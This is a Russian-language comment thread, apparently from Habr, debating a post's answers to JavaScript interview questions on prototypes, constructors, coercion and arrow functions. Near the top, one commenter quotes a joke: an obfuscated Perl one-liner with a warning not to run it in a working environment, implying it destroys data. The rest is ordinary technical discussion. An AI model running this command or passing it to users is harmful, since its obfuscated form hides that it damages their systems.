Комментарии 22
Ответы можно посмотреть, запустив данный скрипт.
Извините, напомнило тему с форума:
Заголовок спойлера
-Не могу понять, что должен вернуть скрипт:
— (Нецензурная брань запустивших)
P.S. НЕ ЗАПУСКАЙТЕ эту команду в рабочей среде. Пожалуйста
echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
— (Нецензурная брань запустивших)
P.S. НЕ ЗАПУСКАЙТЕ эту команду в рабочей среде. Пожалуйста
Я ничего не понял.
Почему «больных»?
Я лично считаю такие вещи «особенностями языка». К сожалению, идеального ЯП, в котором все было бы так, как хочется, не существует :(
Я лично считаю такие вещи «особенностями языка». К сожалению, идеального ЯП, в котором все было бы так, как хочется, не существует :(
Полностью поддерживаю. Даже если есть 10 лет стажа работы с JS, не все ответишь правильно.
Как по мне — лучше проверять не то, как человек умеет зубрить, а как он умеет применять на практике. Я лично знаю людей, которые в институте все вызубривали, а закончив — не знали, как применить эти знания и шли работать кто куда.
Как по мне — лучше проверять не то, как человек умеет зубрить, а как он умеет применять на практике. Я лично знаю людей, которые в институте все вызубривали, а закончив — не знали, как применить эти знания и шли работать кто куда.
Больше, больше неявных преобразований!
Ну и предложение «Array это функция, как и все классы в javascript.» прекрасно.
Ну и предложение «Array это функция, как и все классы в javascript.» прекрасно.
«Почему к вам нельзя ни в коем случае приходить на работу» в 30 строк.
Я бы не взял вас на работу JavaScript-программистом, потому что JavaScript вы не знаете, но при этом твердо уверены в обратном.
Test 1.1: functionЕсли все «классы» — это функции, можно пример функции, которая не является «классом», если ее вызвать через
Array это функция, как и все классы в javascript.
new
? Запишем — что такое конструктор, вы не знаете.Test 1.2: objectДа?
prototype функции — это Object
function C() {}; C.prototype = ['неправда, вы не знаете JS']; console.log((new C)[0]);
Test 1.3: functionЭто просто функция. Если вызвать ее, как
push — это метод Array, определенный в prototype
Array.prototype.push('foo')
, ничего хорошего не случится. Чтобы быть «методом», ее нужно вызывать, как [].push('foo')
. Хотя с точки зрения системы типов это все равно функция, в prototype — это пока не метод.Test 2.1: falseНу т.е. скажем,
пустая строка преобразуется в false
var a = {}; a[false] = 'foo'; a[""] = 'bar'; console.log(a[false] == a[""]);
выведет true
, правильно? :)Test 2.2: trueВеликолепные рассуждения. Значит,
null и undefined при преобразовании к boolean оба дают false
null == 0
, верно? Оба ж приводятся к false. Смотрите стандарт, 11.9.3, пожалуйста.Test 2.3: trueОпять такая же глупость, как и выше, и снова острая необходимость посмотреть 11.9.3 и 9.3.1.
!!n = false, n (пустая строка) тоже false
Test 5: falseА ваш же тест 2.2 говорит, что равны. Да, говорить, что «prototype работает только на конструкторах» — глупота. Если заменить объявление на
s.prototype — это отвлекающий маневр. prototype работает только на конструкторах (функциях). Поэтому s.b — undefined. И здесь подковырка — равны ли 0 и undefined? Нет, не равны.
s = function() {}; s.prototype.foo = 42;
, s.foo
не станет равно чему-то осмысленному.Test 9.1: trueПо вашему,
Переменная x была создана в глобальном контексте — т.е. она член window. При запуске функции this = window. То есть это условие верно.
var lolka = 123; console.log(window.lolka);
выведет 123? Я вас разочарую :)Test 9.2: trueНет,
Да, window.x равна undefined.
window.x
не определена — поэтому и undefined
. Попробуйте Object.getOwnPropertyDescriptor(this, 'x')
, убедитесь сами.Test 9.3: trueИ значение этой переменной никак не влияло на значение непосредственно
Вот здесь интересный момент. Что такое undefined на самом деле? Это переменная window.undefined. В ранних версиях браузера ее можно было переопределить.
undefined
. Это свойство существует из соображений обратной совместимости.Я бы не взял вас на работу JavaScript-программистом, потому что JavaScript вы не знаете, но при этом твердо уверены в обратном.
Если все «классы» — это функции, можно пример функции, которая не является «классом», если ее вызвать через new?
isNaN
.prototype функции — это Object
Да?По вашему примеру:
function F () {}; F.prototype = ['bar'];
typeof F.prototype; // "object"
F.prototype instanceof Object; // true
;-)
Это просто функция. Если вызвать ее, как Array.prototype.push('foo'), ничего хорошего не случится. Чтобы быть «методом», ее нужно вызывать, как [].push('foo'). Хотя с точки зрения системы типов это все равно функция, в prototype — это пока не метод.А если вызвать
Array.prototype.push.call([], 42)
?А ваш же тест 2.2 говорит, что равны. Да, говорить, что «prototype работает только на конструкторах» — глупота. Если заменить объявление на s = function() {}; s.prototype.foo = 42;, s.foo не станет равно чему-то осмысленному.Вы наверное не поняли, вопрос был на внимательность; в идеале, если кандидат сразу отметит, что определять свойство prototype в том объекте нет никакого смысла и это уловка.
Переменная x была создана в глобальном контексте — т.е. она член window. При запуске функции this = window. То есть это условие верно.
По вашему, var lolka = 123; console.log(window.lolka); выведет 123? Я вас разочарую :)Выполните свой код в глобальном контексте.
P.S. Вопросы, имхо, больше для Quiz'а, а не для собеседования.
Уже лучше, но пока еще недостаточно хорошо ;)
isNaNisNaN — это функция не JavaScript, это функция на языке реализации движка JavaScript, а это две большие разницы. Так как она не реализована на JavaScript, ее свойства нельзя отнести к особенностям и возможностям языка, как нельзя, например, повторить семантику функций
window.prompt()
или window.alert()
или создать пользовательский falsy-объект. Правильным ответом с вашей стороны должна была стать стрелочная функция:var f = () => null;
new f // TypeError: f is not a constructor
У стрелочных функций нет собственного this, они наследуют this в области видимости определения, поэтому и конструкторами быть не могут.По вашему примеру:
;)function F () {}; F.prototype = ['bar']; typeof F.prototype; // "object" F.prototype instanceof Object; // true
function F() {}
F.prototype = null;
console.log((new F).__proto__ instanceof Object); // false
console.log(Object.create(null).__proto__ instanceof Object); // false
F.prototype = function() {};
console.log(typeof (new F).__proto__); // "function"
;)А если вызвать Array.prototype.push.call([], 42)?Вот выполнив
.call
, .apply
или .bind
, вы и превращаете функцию в «метод», назначив ей контекст выполнения. Поэтому Array.prototype.push.bind([])
— «метод», а Array.prototype.push
— функция (ну или, точнее сказать, в такой записи это «метод», но над Array.prototype
).Вы наверное не поняли, вопрос был на внимательность; в идеале, если кандидат сразу отметит, что определять свойство prototype в том объекте нет никакого смысла и это уловка.Неверные объяснения, как я понимаю, тоже являются уловкой и проверкой на внимательность самих проверяющих — если проверяющий согласился с таким объяснением, значит сразу в отбраковку обоих :)
Выполните свой код в глобальном контексте.Да, увы, здесь ваша правда.
По поводу первого, в JS вообще есть вещи как Node, NodeList, etc которые нельзя использовать ни как конструктор(попробуйте инстанцировать), ни как функцию. Но при этом все мы знаем что мы работаем с объектами инстанцированными от них. То-есть это какбы класс, но который нельзя инстанцировать. Но вообще есть еще так называемый Text, который насследуется от Node, и мы его можем спокойно инстанцировать.
Вообще я на собеседованиях люблю наблюдать как мыслит человек в задачке поинтереснее:
И вопрос в том, что должно быть в extend, чтобы мы получили: items общую между всеми B и на отдельную для каждого инстанса.
Вообще я на собеседованиях люблю наблюдать как мыслит человек в задачке поинтереснее:
var A = function(){
this.items = [];
}
A.prototype = {
addItem: function(item){
this.items.push(item);
}
};
var B = extend(A, {
constructor: function(){
this.addItem(Math.random);
}
})
var elements = [
new B,
new B
];
И вопрос в том, что должно быть в extend, чтобы мы получили: items общую между всеми B и на отдельную для каждого инстанса.
Ваш вопрос звучал без уточнений:
Если не хочется, чтобы ф-ю вызывали в качестве конструктора, можно сделать и так:
Хотя про ES6 не было речи, стрелочная функция — хороший пример и хорошая отправная точка для обсуждения с кандидатом ES6 (и ES7, если интересуется будущим языка).
(кстати, вспомнил ещё вопрос из этой серии: объяснить почему
Ну и поясните пожалуйста, почему (с практической т.з., т.е. создания объектов)
можно пример функции, которая не является «классом», если ее вызвать через new?И таких функций много в JS, которые нельзя использовать в качестве конструктора.
Если не хочется, чтобы ф-ю вызывали в качестве конструктора, можно сделать и так:
function F () { if (this instanceof F) throw TypeError('F() is not a constructor'); }
isNaN — это функция не JavaScript, это функция на языке реализации движка JavaScript, а это две большие разницы. Так как она не реализована на JavaScript, ее свойства нельзя отнести к особенностям и возможностям языкаДопустим я понял, что вы имели в виду в первом предложении. Но вот выделенное мне не очень ясно. Можно ли сказать тоже самое про остальные объекты/функции, описанные в спеке?
Правильным ответом с вашей стороны должна была стать стрелочная функция:Ну вот видите, сами ответили на свой вопрос. Раз знали ответ заранее, значит решили потроллить автора :)
Хотя про ES6 не было речи, стрелочная функция — хороший пример и хорошая отправная точка для обсуждения с кандидатом ES6 (и ES7, если интересуется будущим языка).
function F() {} F.prototype = null; console.log((new F).__proto__ instanceof Object); // false
instanceof
ищет прототип конструктора в цепочке прототипов объекта, сам же прототип в примере выше будет объектом:typeof (new F).__proto__; // "object"
Object.prototype.toString.call((new F).__proto__); // "[object Object]"
Object.create(null)
— особенный случай.Использовать аксессор Object#console.log(Object.create(null).__proto__ instanceof Object); // false
__proto__
в этом случае не корректно, доступа к нему там просто нет. Поэтому и undefined
. И мы всё же обсуждаем создание объектов конструкторами, поэтому правильнее:function F () {}; F.prototype = Object.create(null);
var proto = Object.getPrototypeOf(new F);
typeof proto; // "object"
Object.prototype.toString.call(proto); // "[object Object]"
Вы забыли проF.prototype = function() {}; console.log(typeof (new F).__proto__); // "function"
(new F).__proto__ instanceof Object; // true
(кстати, вспомнил ещё вопрос из этой серии: объяснить почему
Object instanceof Function === Function instanceof Object; // true
)Неверные объяснения, как я понимаю, тоже являются уловкой и проверкой на внимательность самих проверяющих — если проверяющий согласился с таким объяснением, значит сразу в отбраковку обоих :)Меня бы ответ автора на 5-й вопрос устроил. Я бы, пожалуй, уточнил, что надо поменять (используя прототип), чтобы сравнение было истинным. Впрочем, с многими остальными ответами не всё так плохо. С ремаркой: если не придираться к терминологии, некоторым пробелам, путанице с неявным преобразованием (спеку почитает). Мы же понимамаем, что эти вопросы не для сеньора с серьёзным практическим/теоретическим бэкграундом? :) Хотя, как я уже писал и соглашусь с остальными, такого рода вопросы слишком оторваны от реальных задач и более уместны для квизов (just for fun).
Ну и поясните пожалуйста, почему (с практической т.з., т.е. создания объектов)
говорить, что «свойство prototype работает только на конструкторах» — глупота.
По моей практике самые распространенный вопрос это setTimeout в цикле в различных вариациях. Второй по популярности это new и с ним спорит только call/apply вопросы.
Вопрос на внимательность с подковыркой (ответ на jsfiddle):
j = 1;
j = 2;
console.log(j);
console.log(j);
Ахм, похоже, хабрапарсер съел всю прелесть, а заметил я это только что. Суть в том, что символы zero-width non-joiner и zero-width joiner допустимы в качестве символов в идентификаторах Javascript, т.к. они требуются в некоторых видах письма, типа арабского. Поэтому
Работающий пример: jsfiddle.net/qdy2Ldop/
"a<zwnj>b"
и "ab"
— разные идентификаторы, которые, тем не менее, выглядят одинаково во многих редакторах.Работающий пример: jsfiddle.net/qdy2Ldop/
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Вопросы на собеседовании по javascript